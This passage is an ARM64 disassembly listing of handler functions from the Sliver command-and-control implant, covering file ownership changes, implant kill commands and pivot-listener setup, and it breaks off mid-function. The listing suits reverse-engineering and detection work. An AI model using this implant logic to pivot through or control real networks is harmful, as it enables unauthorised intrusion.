Similarity

00504200
00504200github.com/bishopfox/sliver/implant/sliver/handlers.chownHandler.func1: ; void github.com/bishopfox/sliver/implant/sliver/handlers.chownHandler.func1(struct string file, io/fs.DirEntry d, error err)
00504200ldr x16, [x28+16]
00504204subs xzr, sp, x16
00504208b.ls 0x5042c0
0050420cstr x30, [sp-80]!
00504210stur x29, [sp-8]
00504214sub x29, sp, 8
00504218str x0, [sp+88]
0050421cstr x1, [sp+96]
00504220str x2, [sp+104]
00504224str x3, [sp+112]
00504228str x4, [sp+120]
0050422cstr x5, [sp+128]
00504230ldr x4, [x26+8]
00504234str x4, [sp+40]
00504238ldr x4, [x26+16]
0050423cstr x4, [sp+48]
00504240stp xzr, xzr, [sp+56]
00504244ldr x4, [sp+120]
00504248cbnz x4, 0x504250
0050424cb 0x50426c
00504250
00504250loc_504250:
00504250ldr x0, [sp+120]
00504254ldr x1, [sp+128]
00504258str x0, [sp+56]
0050425cstr x1, [sp+64]
00504260ldur x29, [sp-8]
00504264ldr x30, [sp], 80
00504268ret x30
0050426c
0050426cloc_50426c:
0050426cldr x0, [sp+88]
00504270ldr x1, [sp+96]
00504274ldr x2, [sp+40]
00504278ldr x3, [sp+48]
0050427cbl os.Chown
00504280str x0, [sp+120]
00504284str x1, [sp+128]
00504288cbnz x0, 0x504290
0050428cb 0x5042a4
00504290
00504290loc_504290:
00504290str x0, [sp+56]
00504294str x1, [sp+64]
00504298ldur x29, [sp-8]
0050429cldr x30, [sp], 80
005042a0ret x30
005042a4
005042a4loc_5042a4:
005042a4b 0x5042a8
005042a8
005042a8loc_5042a8:
005042a8stp xzr, xzr, [sp+56]
005042acmov x0, xzr
005042b0mov x1, xzr
005042b4ldur x29, [sp-8]
005042b8ldr x30, [sp], 80
005042bcret x30
005042c0
005042c0loc_5042c0:
005042c0stp x0, x1, [sp+8]
005042c4stp x2, x3, [sp+24]
005042c8stp x4, x5, [sp+40]
005042ccmov x3, x30
005042d0bl runtime.morestack.abi0
005042d4ldp x0, x1, [sp+8]
005042d8ldp x2, x3, [sp+24]
005042dcldp x4, x5, [sp+40]
005042e0b 0x504200
005042e4udf 0
005042e8udf 0
005042ecudf 0
00504200

005042f0
005042f0github.com/bishopfox/sliver/implant/sliver/handlers.GetKillHandlers: ; void github.com/bishopfox/sliver/implant/sliver/handlers.GetKillHandlers(void)
005042f0str x30, [sp-32]!
005042f4stur x29, [sp-8]
005042f8sub x29, sp, 8
005042fcstr xzr, [sp+16]
00504300adrp x27, 0x51c000
00504304ldr x0, [x27+3176]
00504308str x0, [sp+16]
0050430cadd x29, sp, 24
00504310add sp, sp, 32
00504314ret x30
00504318udf 0
0050431cudf 0
005042f0

00504320
00504320github.com/bishopfox/sliver/implant/sliver/handlers.killHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.killHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/transports.Connection * p1)
00504320ldr x16, [x28+16]
00504324sub x17, sp, 80
00504328subs xzr, x17, x16
0050432cb.ls 0x5044f0
00504330str x30, [sp-208]!
00504334stur x29, [sp-8]
00504338sub x29, sp, 8
0050433cstr x0, [sp+216]
00504340str x1, [sp+224]
00504344str x2, [sp+232]
00504348str x3, [sp+240]
0050434cstp xzr, xzr, [sp+56]
00504350adrp x0, 0x16b000
00504354add x0, x0, 1472
00504358bl runtime.newobject
0050435cstr x0, [sp+128]
00504360adrp x27, 0x547000
00504364ldr w1, [x27+3056]
00504368cbz w1, 0x504370
0050436cb 0x504374
00504370
00504370loc_504370:
00504370b 0x504390
00504374
00504374loc_504374:
00504374str x0, [sp+160]
00504378mov x1, x0
0050437cadrp x0, 0x16b000
00504380add x0, x0, 1472
00504384bl runtime.wbZero
00504388ldr x0, [sp+160]
0050438cb 0x504390
00504390
00504390loc_504390:
00504390stp xzr, xzr, [x0]
00504394stp xzr, xzr, [x0+16]
00504398stp xzr, xzr, [x0+32]
0050439cstr xzr, [x0+48]
005043a0ldr x4, [sp+128]
005043a4str x4, [sp+72]
005043a8str x4, [sp+152]
005043acldr x0, [sp+216]
005043b0ldr x1, [sp+224]
005043b4ldr x2, [sp+232]
005043b8adrp x3, 0x20f000
005043bcadd x3, x3, 3328
005043c0bl google.golang.org/protobuf/proto.Unmarshal
005043c4str x0, [sp+80]
005043c8str x1, [sp+88]
005043ccstp xzr, xzr, [sp+136]
005043d0add x0, sp, 136
005043d4str x0, [sp+96]
005043d8ldrsb x27, [x0]
005043dcadrp x5, 0xf1000
005043e0add x5, x5, 2944
005043e4str x5, [x0]
005043e8adrp x27, 0x547000
005043ecldr w5, [x27+3056]
005043f0cbz w5, 0x5043f8
005043f4b 0x5043fc
005043f8
005043f8loc_5043f8:
005043f8b 0x50440c
005043fc
005043fcloc_5043fc:
005043fcldr x3, [x0+8]
00504400bl runtime.gcWriteBarrier1
00504404str x3, [x25]
00504408b 0x50440c
0050440c
0050440cloc_50440c:
0050440cadrp x3, 0x20d000
00504410add x3, x3, 784
00504414str x3, [x0+8]
00504418ldrsb x27, [x0]
0050441cb 0x504420
00504420
00504420loc_504420:
00504420str x0, [sp+104]
00504424orr x2, xzr, 1
00504428str x2, [sp+112]
0050442cstr x2, [sp+120]
00504430mov x1, x2
00504434bl log.Println
00504438ldr x3, [sp+80]
0050443ccbnz x3, 0x504444
00504440b 0x504460
00504444
00504444loc_504444:
00504444ldr x0, [sp+80]
00504448ldr x1, [sp+88]
0050444cstr x0, [sp+56]
00504450str x1, [sp+64]
00504454ldur x29, [sp-8]
00504458ldr x30, [sp], 208
0050445cret x30
00504460
00504460loc_504460:
00504460stp xzr, xzr, [sp+136]
00504464add x0, sp, 136
00504468str x0, [sp+168]
0050446cldrsb x27, [x0]
00504470adrp x3, 0xf1000
00504474add x3, x3, 2944
00504478str x3, [x0]
0050447cadrp x27, 0x547000
00504480ldr w3, [x27+3056]
00504484cbz w3, 0x50448c
00504488b 0x504490
0050448c
0050448cloc_50448c:
0050448cb 0x5044a0
00504490
00504490loc_504490:
00504490ldr x3, [x0+8]
00504494bl runtime.gcWriteBarrier1
00504498str x3, [x25]
0050449cb 0x5044a0
005044a0
005044a0loc_5044a0:
005044a0adrp x3, 0x20d000
005044a4add x3, x3, 800
005044a8str x3, [x0+8]
005044acldrsb x27, [x0]
005044b0b 0x5044b4
005044b4
005044b4loc_5044b4:
005044b4str x0, [sp+176]
005044b8orr x2, xzr, 1
005044bcstr x2, [sp+184]
005044c0str x2, [sp+192]
005044c4mov x1, x2
005044c8bl log.Println
005044ccadrp x0, 0x1d4000
005044d0add x0, x0, 2840
005044d4bl runtime.newproc
005044d8stp xzr, xzr, [sp+56]
005044dcmov x0, xzr
005044e0mov x1, xzr
005044e4ldur x29, [sp-8]
005044e8ldr x30, [sp], 208
005044ecret x30
005044f0
005044f0loc_5044f0:
005044f0stp x0, x1, [sp+8]
005044f4stp x2, x3, [sp+24]
005044f8mov x3, x30
005044fcbl runtime.morestack_noctxt.abi0
00504500ldp x0, x1, [sp+8]
00504504ldp x2, x3, [sp+24]
00504508b 0x504320
0050450cudf 0
00504320

00504510
00504510github.com/bishopfox/sliver/implant/sliver/handlers.GetPivotHandlers: ; void github.com/bishopfox/sliver/implant/sliver/handlers.GetPivotHandlers(void)
00504510str x30, [sp-32]!
00504514stur x29, [sp-8]
00504518sub x29, sp, 8
0050451cstr xzr, [sp+16]
00504520adrp x27, 0x51c000
00504524ldr x0, [x27+3184]
00504528str x0, [sp+16]
0050452cadd x29, sp, 24
00504530add sp, sp, 32
00504534ret x30
00504538udf 0
0050453cudf 0
00504510

00504540
00504540github.com/bishopfox/sliver/implant/sliver/handlers.pivotListenersHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.pivotListenersHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
00504540ldr x16, [x28+16]
00504544sub x17, sp, 112
00504548subs xzr, x17, x16
0050454cb.ls 0x504804
00504550str x30, [sp-240]!
00504554stur x29, [sp-8]
00504558sub x29, sp, 8
0050455cstr x0, [sp+248]
00504560str x1, [sp+256]
00504564bl github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners
00504568str x0, [sp+112]
0050456cstr x1, [sp+120]
00504570str x2, [sp+128]
00504574adrp x0, 0x16c000
00504578add x0, x0, 2976
0050457cbl runtime.newobject
00504580str x0, [sp+224]
00504584adrp x27, 0x547000
00504588ldr w1, [x27+3056]
0050458ccbz w1, 0x504594
00504590b 0x504598
00504594
00504594loc_504594:
00504594b 0x5045b4
00504598
00504598loc_504598:
00504598str x0, [sp+192]
0050459cmov x1, x0
005045a0adrp x0, 0x16c000
005045a4add x0, x0, 2976
005045a8bl runtime.wbZero
005045acldr x0, [sp+192]
005045b0b 0x5045b4
005045b4
005045b4loc_5045b4:
005045b4stp xzr, xzr, [x0]
005045b8stp xzr, xzr, [x0+16]
005045bcstp xzr, xzr, [x0+32]
005045c0stp xzr, xzr, [x0+48]
005045c4str xzr, [x0+64]
005045c8ldr x1, [sp+224]
005045ccldrsb x27, [x1]
005045d0ldr x2, [sp+112]
005045d4ldr x3, [sp+120]
005045d8ldr x4, [sp+128]
005045dcstr x3, [x1+16]
005045e0str x4, [x1+24]
005045e4adrp x27, 0x547000
005045e8ldr w3, [x27+3056]
005045eccbz w3, 0x5045f4
005045f0b 0x5045f8
005045f4
005045f4loc_5045f4:
005045f4b 0x50460c
005045f8
005045f8loc_5045f8:
005045f8bl runtime.gcWriteBarrier2
005045fcstr x2, [x25]
00504600ldr x3, [x1+8]
00504604str x3, [x25+8]
00504608b 0x50460c
0050460c
0050460cloc_50460c:
0050460cstr x2, [x1+8]
00504610adrp x0, 0x181000
00504614add x0, x0, 3648
00504618bl runtime.newobject
0050461cstr x0, [sp+216]
00504620adrp x27, 0x547000
00504624ldr w1, [x27+3056]
00504628cbz w1, 0x504630
0050462cb 0x504634
00504630
00504630loc_504630:
00504630b 0x504650
00504634
00504634loc_504634:
00504634str x0, [sp+184]
00504638mov x1, x0
0050463cadrp x0, 0x181000
00504640add x0, x0, 3648
00504644bl runtime.wbZero
00504648ldr x0, [sp+184]
0050464cb 0x504650
00504650
00504650loc_504650:
00504650mov x20, x0
00504654adr x27, 16
00504658stp x29, x27, [sp-24]
0050465csub x29, sp, 24
00504660bl fn_87cf8
00504664sub x29, sp, 8
00504668ldr x2, [sp+224]
0050466cldrsb x27, [x2]
00504670ldr x3, [sp+216]
00504674adrp x27, 0x547000
00504678ldr w4, [x27+3056]
0050467ccbz w4, 0x504684
00504680b 0x504688
00504684
00504684loc_504684:
00504684b 0x50469c
00504688
00504688loc_504688:
00504688bl runtime.gcWriteBarrier2
0050468cstr x3, [x25]
00504690ldr x4, [x2+32]
00504694str x4, [x25+8]
00504698b 0x50469c
0050469c
0050469cloc_50469c:
0050469cstr x3, [x2+32]
005046a0ldr x2, [sp+224]
005046a4str x2, [sp+104]
005046a8stp xzr, xzr, [sp+80]
005046acstr xzr, [sp+96]
005046b0stp xzr, xzr, [sp+64]
005046b4ldr x1, [sp+104]
005046b8adrp x0, 0x20f000
005046bcadd x0, x0, 3296
005046c0bl google.golang.org/protobuf/proto.Marshal
005046c4str x0, [sp+80]
005046c8str x1, [sp+88]
005046ccstr x2, [sp+96]
005046d0str x3, [sp+64]
005046d4str x4, [sp+72]
005046d8ldr x2, [sp+80]
005046dcldr x3, [sp+88]
005046e0ldr x4, [sp+96]
005046e4str x2, [sp+152]
005046e8str x3, [sp+160]
005046ecstr x4, [sp+168]
005046f0ldr x2, [sp+64]
005046f4ldr x3, [sp+72]
005046f8str x2, [sp+136]
005046fcstr x3, [sp+144]
00504700ldr x2, [sp+152]
00504704ldr x3, [sp+160]
00504708ldr x4, [sp+168]
0050470cstr x2, [sp+32]
00504710str x3, [sp+40]
00504714str x4, [sp+48]
00504718adrp x0, 0x180000
0050471cadd x0, x0, 2848
00504720bl runtime.newobject
00504724str x0, [sp+208]
00504728adrp x27, 0x547000
0050472cldr w2, [x27+3056]
00504730cbz w2, 0x504738
00504734b 0x50473c
00504738
00504738loc_504738:
00504738b 0x504758
0050473c
0050473cloc_50473c:
0050473cstr x0, [sp+176]
00504740mov x1, x0
00504744adrp x0, 0x180000
00504748add x0, x0, 2848
0050474cbl runtime.wbZero
00504750ldr x0, [sp+176]
00504754b 0x504758
00504758
00504758loc_504758:
00504758mov x20, x0
0050475cadr x27, 16
00504760stp x29, x27, [sp-24]
00504764sub x29, sp, 24
00504768bl fn_87cfc
0050476csub x29, sp, 8
00504770str xzr, [x0+80]
00504774ldr x2, [sp+208]
00504778ldrsb x27, [x2]
0050477cldr x3, [sp+248]
00504780ldrsb x27, [x3]
00504784ldr x3, [x3+8]
00504788str x3, [x2+8]
0050478cldr x2, [sp+208]
00504790ldrsb x27, [x2]
00504794ldr x3, [sp+32]
00504798ldr x4, [sp+40]
0050479cldr x5, [sp+48]
005047a0str x4, [x2+32]
005047a4str x5, [x2+40]
005047a8adrp x27, 0x547000
005047acldr w4, [x27+3056]
005047b0cbz w4, 0x5047b8
005047b4b 0x5047bc
005047b8
005047b8loc_5047b8:
005047b8b 0x5047d0
005047bc
005047bcloc_5047bc:
005047bcbl runtime.gcWriteBarrier2
005047c0str x3, [x25]
005047c4ldr x4, [x2+24]
005047c8str x4, [x25+8]
005047ccb 0x5047d0
005047d0
005047d0loc_5047d0:
005047d0str x3, [x2+24]
005047d4ldr x2, [sp+208]
005047d8str x2, [sp+56]
005047dcldr x2, [sp+256]
005047e0ldrsb x27, [x2]
005047e4ldr x2, [x2]
005047e8str x2, [sp+200]
005047ecldr x0, [sp+200]
005047f0add x1, sp, 56
005047f4bl runtime.chansend1
005047f8ldur x29, [sp-8]
005047fcldr x30, [sp], 240
00504800ret x30
00504804
00504804loc_504804:
00504804stp x0, x1, [sp+8]
00504808mov x3, x30
0050480cbl runtime.morestack_noctxt.abi0
00504810ldp x0, x1, [sp+8]
00504814b 0x504540
00504818udf 0
0050481cudf 0
00504540

00504820
00504820github.com/bishopfox/sliver/implant/sliver/handlers.pivotStartListenerHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.pivotStartListenerHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
00504820ldr x16, [x28+16]
00504824sub x17, sp, 624
00504828subs xzr, x17, x16
0050482cb.ls 0x505208
00504830sub x20, sp, 752
00504834stp x29, x30, [x20-8]
00504838add sp, x20, 0
0050483csub x29, sp, 8
00504840str x0, [sp+760]
00504844str x1, [sp+768]
00504848adrp x0, 0x180000
0050484cadd x0, x0, 1696
00504850bl runtime.newobject
00504854str x0, [sp+472]
00504858adrp x27, 0x547000
0050485cldr w1, [x27+3056]
00504860cbz w1, 0x504868
00504864b 0x50486c
00504868
00504868loc_504868:
00504868b 0x504888
0050486c
0050486cloc_50486c:
0050486cstr x0, [sp+296]
00504870mov x1, x0
00504874adrp x0, 0x180000
00504878add x0, x0, 1696
0050487cbl runtime.wbZero
00504880ldr x0, [sp+296]
00504884b 0x504888
00504888
00504888loc_504888:
00504888mov x20, x0
0050488cadr x27, 16
00504890stp x29, x27, [sp-24]
00504894sub x29, sp, 24
00504898bl fn_87cf8
0050489csub x29, sp, 8
005048a0ldr x1, [sp+472]
005048a4str x1, [sp+80]
005048a8adrp x0, 0x186000
005048acadd x0, x0, 736
005048b0bl runtime.newobject
005048b4str x0, [sp+464]
005048b8adrp x27, 0x547000
005048bcldr w1, [x27+3056]
005048c0cbz w1, 0x5048c8
005048c4b 0x5048cc
005048c8
005048c8loc_5048c8:
005048c8b 0x5048e8
005048cc
005048ccloc_5048cc:
005048ccstr x0, [sp+288]
005048d0mov x1, x0
005048d4adrp x0, 0x186000
005048d8add x0, x0, 736
005048dcbl runtime.wbZero
005048e0ldr x0, [sp+288]
005048e4b 0x5048e8
005048e8
005048e8loc_5048e8:
005048e8mov x20, x0
005048ecadr x27, 16
005048f0stp x29, x27, [sp-24]
005048f4sub x29, sp, 24
005048f8bl fn_87cf8
005048fcsub x29, sp, 8
00504900adrp x0, 0x181000
00504904add x0, x0, 3648
00504908bl runtime.newobject
0050490cstr x0, [sp+456]
00504910adrp x27, 0x547000
00504914ldr w1, [x27+3056]
00504918cbz w1, 0x504920
0050491cb 0x504924
00504920
00504920loc_504920:
00504920b 0x504940
00504924
00504924loc_504924:
00504924str x0, [sp+280]
00504928mov x1, x0
0050492cadrp x0, 0x181000
00504930add x0, x0, 3648
00504934bl runtime.wbZero
00504938ldr x0, [sp+280]
0050493cb 0x504940
00504940
00504940loc_504940:
00504940mov x20, x0
00504944adr x27, 16
00504948stp x29, x27, [sp-24]
0050494csub x29, sp, 24
00504950bl fn_87cf8
00504954sub x29, sp, 8
00504958ldr x5, [sp+464]
0050495cldrsb x27, [x5]
00504960ldr x6, [sp+456]
00504964adrp x27, 0x547000
00504968ldr w7, [x27+3056]
0050496ccbz w7, 0x504974
00504970b 0x504978
00504974
00504974loc_504974:
00504974b 0x50498c
00504978
00504978loc_504978:
00504978bl runtime.gcWriteBarrier2
0050497cstr x6, [x25]
00504980ldr x7, [x5+56]
00504984str x7, [x25+8]
00504988b 0x50498c
0050498c
0050498cloc_50498c:
0050498cstr x6, [x5+56]
00504990ldr x5, [sp+464]
00504994str x5, [sp+72]
00504998ldr x5, [sp+80]
0050499cstr x5, [sp+576]
005049a0ldr x5, [sp+760]
005049a4ldrsb x27, [x5]
005049a8ldr x0, [x5+24]
005049acldr x1, [x5+32]
005049b0ldr x2, [x5+40]
005049b4str x0, [sp+432]
005049b8str x1, [sp+440]
005049bcstr x2, [sp+448]
005049c0ldr x4, [sp+576]
005049c4adrp x3, 0x20f000
005049c8add x3, x3, 3264
005049ccbl google.golang.org/protobuf/proto.Unmarshal
005049d0str x0, [sp+112]
005049d4str x1, [sp+120]
005049d8cbnz x0, 0x5049e0
005049dcb 0x504ba4
005049e0
005049e0loc_5049e0:
005049e0ldrsb x27, [x0]
005049e4ldr x2, [x0+24]
005049e8mov x0, x1
005049ecblr x2
005049f0str x0, [sp+560]
005049f4str x1, [sp+568]
005049f8ldr x2, [sp+72]
005049fcldrsb x27, [x2]
00504a00ldr x2, [x2+56]
00504a04ldrsb x27, [x2]
00504a08str x1, [x2+16]
00504a0cadrp x27, 0x547000
00504a10ldr w1, [x27+3056]
00504a14cbz w1, 0x504a1c
00504a18b 0x504a20
00504a1c
00504a1cloc_504a1c:
00504a1cb 0x504a34
00504a20
00504a20loc_504a20:
00504a20bl runtime.gcWriteBarrier2
00504a24str x0, [x25]
00504a28ldr x3, [x2+8]
00504a2cstr x3, [x25+8]
00504a30b 0x504a34
00504a34
00504a34loc_504a34:
00504a34str x0, [x2+8]
00504a38ldr x2, [sp+72]
00504a3cstr x2, [sp+552]
00504a40add x27, sp, 528
00504a44stp xzr, xzr, [x27]
00504a48str xzr, [sp+544]
00504a4cadd x27, sp, 512
00504a50stp xzr, xzr, [x27]
00504a54ldr x1, [sp+552]
00504a58adrp x0, 0x20f000
00504a5cadd x0, x0, 3232
00504a60bl google.golang.org/protobuf/proto.Marshal
00504a64str x0, [sp+528]
00504a68str x1, [sp+536]
00504a6cstr x2, [sp+544]
00504a70str x3, [sp+512]
00504a74str x4, [sp+520]
00504a78ldr x2, [sp+528]
00504a7cldr x3, [sp+536]
00504a80ldr x4, [sp+544]
00504a84str x2, [sp+248]
00504a88str x3, [sp+256]
00504a8cstr x4, [sp+264]
00504a90ldr x2, [sp+512]
00504a94ldr x3, [sp+520]
00504a98str x2, [sp+232]
00504a9cstr x3, [sp+240]
00504aa0ldr x2, [sp+248]
00504aa4ldr x3, [sp+256]
00504aa8ldr x4, [sp+264]
00504aacstr x2, [sp+200]
00504ab0str x3, [sp+208]
00504ab4str x4, [sp+216]
00504ab8adrp x0, 0x180000
00504abcadd x0, x0, 2848
00504ac0bl runtime.newobject
00504ac4str x0, [sp+424]
00504ac8adrp x27, 0x547000
00504accldr w2, [x27+3056]
00504ad0cbz w2, 0x504ad8
00504ad4b 0x504adc
00504ad8
00504ad8loc_504ad8:
00504ad8b 0x504af8
00504adc
00504adcloc_504adc:
00504adcstr x0, [sp+272]
00504ae0mov x1, x0
00504ae4adrp x0, 0x180000
00504ae8add x0, x0, 2848
00504aecbl runtime.wbZero
00504af0ldr x0, [sp+272]
00504af4b 0x504af8
00504af8
00504af8loc_504af8:
00504af8mov x20, x0
00504afcadr x27, 16
00504b00stp x29, x27, [sp-24]
00504b04sub x29, sp, 24
00504b08bl fn_87cfc
00504b0csub x29, sp, 8
00504b10str xzr, [x0+80]
00504b14ldr x2, [sp+424]
00504b18ldrsb x27, [x2]
00504b1cldr x3, [sp+760]
00504b20ldrsb x27, [x3]
00504b24ldr x3, [x3+8]
00504b28str x3, [x2+8]
00504b2cldr x2, [sp+424]
00504b30ldrsb x27, [x2]
00504b34ldr x3, [sp+200]
00504b38ldr x4, [sp+208]
00504b3cldr x5, [sp+216]
00504b40str x4, [x2+32]
00504b44str x5, [x2+40]
00504b48adrp x27, 0x547000
00504b4cldr w4, [x27+3056]
00504b50cbz w4, 0x504b58
00504b54b 0x504b5c
00504b58
00504b58loc_504b58:
00504b58b 0x504b70
00504b5c
00504b5cloc_504b5c:
00504b5cbl runtime.gcWriteBarrier2
00504b60str x3, [x25]
00504b64ldr x4, [x2+24]
00504b68str x4, [x25+8]
00504b6cb 0x504b70
00504b70
00504b70loc_504b70:
00504b70str x3, [x2+24]
00504b74ldr x2, [sp+424]
00504b78str x2, [sp+504]
00504b7cldr x2, [sp+768]
00504b80ldrsb x27, [x2]
00504b84ldr x2, [x2]
00504b88str x2, [sp+416]
00504b8cldr x0, [sp+416]
00504b90add x1, sp, 504
00504b94bl runtime.chansend1
00504b98ldp x29, x30, [sp-8]
00504b9cadd sp, sp, 752
00504ba0ret x30
00504ba4
00504ba4loc_504ba4:
00504ba4str xzr, [sp+496]
00504ba8ldr x3, [sp+80]
00504bacldrsb x27, [x3]
00504bb0ldrsw x3, [x3+8]
00504bb4str w3, [sp+68]
00504bb8ldr w2, [sp+68]
00504bbcadrp x27, 0x51c000
00504bc0ldr x1, [x27+3208]
00504bc4adrp x0, 0x11f000
00504bc8add x0, x0, 3296
00504bccbl runtime.mapaccess2_fast32
00504bd0str x0, [sp+408]
00504bd4strb w1, [sp+66]
00504bd8ldr x3, [sp+408]
00504bdcldr x3, [x3]
00504be0str x3, [sp+496]
00504be4str x3, [sp+736]
00504be8ldrb w3, [sp+66]
00504becstrb w3, [sp+67]
00504bf0ldr x3, [sp+736]
00504bf4str x3, [sp+224]
00504bf8ldrb w3, [sp+67]
00504bfcstrb w3, [sp+65]
00504c00tbnz w3, 0, 0x504c08
00504c04b 0x505050
00504c08
00504c08loc_504c08:
00504c08str xzr, [sp+488]
00504c0cadd x27, sp, 512
00504c10stp xzr, xzr, [x27]
00504c14ldr x6, [sp+80]
00504c18ldrsb x27, [x6]
00504c1cldr x7, [x6+16]
00504c20ldr x6, [x6+24]
00504c24str x7, [sp+392]
00504c28str x6, [sp+400]
00504c2cldr x6, [sp+768]
00504c30ldrsb x27, [x6]
00504c34ldr x6, [x6]
00504c38str x6, [sp+384]
00504c3cldr x6, [sp+80]
00504c40ldrsb x27, [x6]
00504c44ldr x3, [x6+32]
00504c48ldr x4, [x6+40]
00504c4cldr x5, [x6+48]
00504c50str x3, [sp+360]
00504c54str x4, [sp+368]
00504c58str x5, [sp+376]
00504c5cldr x26, [sp+224]
00504c60ldr x6, [x26]
00504c64ldr x0, [sp+392]
00504c68ldr x1, [sp+400]
00504c6cldr x2, [sp+384]
00504c70blr x6
00504c74str x0, [sp+488]
00504c78str x1, [sp+512]
00504c7cstr x2, [sp+520]
00504c80ldr x6, [sp+488]
00504c84str x6, [sp+728]
00504c88ldr x6, [sp+512]
00504c8cldr x7, [sp+520]
00504c90str x6, [sp+712]
00504c94str x7, [sp+720]
00504c98ldr x6, [sp+728]
00504c9cstr x6, [sp+88]
00504ca0ldr x0, [sp+720]
00504ca4ldr x6, [sp+712]
00504ca8str x6, [sp+96]
00504cacstr x0, [sp+104]
00504cb0cbnz x6, 0x504cb8
00504cb4b 0x504e78
00504cb8
00504cb8loc_504cb8:
00504cb8ldrsb x27, [x6]
00504cbcldr x1, [x6+24]
00504cc0blr x1
00504cc4str x0, [sp+560]
00504cc8str x1, [sp+568]
00504cccldr x2, [sp+72]
00504cd0ldrsb x27, [x2]
00504cd4ldr x2, [x2+56]
00504cd8ldrsb x27, [x2]
00504cdcstr x1, [x2+16]
00504ce0adrp x27, 0x547000
00504ce4ldr w1, [x27+3056]
00504ce8cbz w1, 0x504cf0
00504cecb 0x504cf4
00504cf0
00504cf0loc_504cf0:
00504cf0b 0x504d08
00504cf4
00504cf4loc_504cf4:
00504cf4bl runtime.gcWriteBarrier2
00504cf8str x0, [x25]
00504cfcldr x3, [x2+8]
00504d00str x3, [x25+8]
00504d04b 0x504d08
00504d08
00504d08loc_504d08:
00504d08str x0, [x2+8]
00504d0cldr x2, [sp+72]
00504d10str x2, [sp+552]
00504d14add x27, sp, 528
00504d18stp xzr, xzr, [x27]
00504d1cstr xzr, [sp+544]
00504d20add x27, sp, 512
00504d24stp xzr, xzr, [x27]
00504d28ldr x1, [sp+552]
00504d2cadrp x0, 0x20f000
00504d30add x0, x0, 3232
00504d34bl google.golang.org/protobuf/proto.Marshal
00504d38str x0, [sp+528]
00504d3cstr x1, [sp+536]
00504d40str x2, [sp+544]
00504d44str x3, [sp+512]
00504d48str x4, [sp+520]
00504d4cldr x2, [sp+528]
00504d50ldr x3, [sp+536]
00504d54ldr x4, [sp+544]
00504d58str x2, [sp+688]
00504d5cstr x3, [sp+696]
00504d60str x4, [sp+704]
00504d64ldr x2, [sp+512]
00504d68ldr x3, [sp+520]
00504d6cstr x2, [sp+672]
00504d70str x3, [sp+680]
00504d74ldr x2, [sp+688]
00504d78ldr x3, [sp+696]
00504d7cldr x4, [sp+704]
00504d80str x2, [sp+176]
00504d84str x3, [sp+184]
00504d88str x4, [sp+192]
00504d8cadrp x0, 0x180000
00504d90add x0, x0, 2848
00504d94bl runtime.newobject
00504d98str x0, [sp+352]
00504d9cadrp x27, 0x547000
00504da0ldr w2, [x27+3056]
00504da4cbz w2, 0x504dac
00504da8b 0x504db0
00504dac
00504dacloc_504dac:
00504dacb 0x504dcc
00504db0
00504db0loc_504db0:
00504db0str x0, [sp+272]
00504db4mov x1, x0
00504db8adrp x0, 0x180000
00504dbcadd x0, x0, 2848
00504dc0bl runtime.wbZero
00504dc4ldr x0, [sp+272]
00504dc8b 0x504dcc
00504dcc
00504dccloc_504dcc:
00504dccmov x20, x0
00504dd0adr x27, 16
00504dd4stp x29, x27, [sp-24]
00504dd8sub x29, sp, 24
00504ddcbl fn_87cfc
00504de0sub x29, sp, 8
00504de4str xzr, [x0+80]
00504de8ldr x2, [sp+352]
00504decldrsb x27, [x2]
00504df0ldr x3, [sp+760]
00504df4ldrsb x27, [x3]
00504df8ldr x3, [x3+8]
00504dfcstr x3, [x2+8]
00504e00ldr x2, [sp+352]
00504e04ldrsb x27, [x2]
00504e08ldr x3, [sp+176]
00504e0cldr x4, [sp+184]
00504e10ldr x5, [sp+192]
00504e14str x4, [x2+32]
00504e18str x5, [x2+40]
00504e1cadrp x27, 0x547000
00504e20ldr w4, [x27+3056]
00504e24cbz w4, 0x504e2c
00504e28b 0x504e30
00504e2c
00504e2cloc_504e2c:
00504e2cb 0x504e44
00504e30
00504e30loc_504e30:
00504e30bl runtime.gcWriteBarrier2
00504e34str x3, [x25]
00504e38ldr x4, [x2+24]
00504e3cstr x4, [x25+8]
00504e40b 0x504e44
00504e44
00504e44loc_504e44:
00504e44str x3, [x2+24]
00504e48ldr x2, [sp+352]
00504e4cstr x2, [sp+504]
00504e50ldr x2, [sp+768]
00504e54ldrsb x27, [x2]
00504e58ldr x2, [x2]
00504e5cstr x2, [sp+344]
00504e60ldr x0, [sp+344]
00504e64add x1, sp, 504
00504e68bl runtime.chansend1
00504e6cldp x29, x30, [sp-8]
00504e70add sp, sp, 752
00504e74ret x30
00504e78
00504e78loc_504e78:
00504e78ldr x1, [sp+88]
00504e7cstr x1, [sp+664]
00504e80adrp x0, 0x12d000
00504e84add x0, x0, 3648
00504e88bl runtime.newobject
00504e8cstr x0, [sp+336]
00504e90adrp x1, 4096
00504e94add x1, x1, 544
00504e98str x1, [x0]
00504e9cldr x1, [sp+664]
00504ea0ldr x2, [sp+336]
00504ea4ldrsb x27, [x2]
00504ea8adrp x27, 0x547000
00504eacldr w3, [x27+3056]
00504eb0cbz w3, 0x504eb8
00504eb4b 0x504ebc
00504eb8
00504eb8loc_504eb8:
00504eb8b 0x504ed0
00504ebc
00504ebcloc_504ebc:
00504ebcbl runtime.gcWriteBarrier2
00504ec0str x1, [x25]
00504ec4ldr x3, [x2+8]
00504ec8str x3, [x25+8]
00504eccb 0x504ed0
00504ed0
00504ed0loc_504ed0:
00504ed0str x1, [x2+8]
00504ed4ldr x0, [sp+336]
00504ed8bl runtime.newproc
00504edcldr x0, [sp+88]
00504ee0bl github.com/bishopfox/sliver/implant/sliver/pivots.AddListener
00504ee4ldr x0, [sp+88]
00504ee8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf
00504eecstr x0, [sp+552]
00504ef0str x0, [sp+480]
00504ef4add x27, sp, 528
00504ef8stp xzr, xzr, [x27]
00504efcstr xzr, [sp+544]
00504f00add x27, sp, 512
00504f04stp xzr, xzr, [x27]
00504f08ldr x1, [sp+480]
00504f0cadrp x0, 0x20f000
00504f10add x0, x0, 3232
00504f14bl google.golang.org/protobuf/proto.Marshal
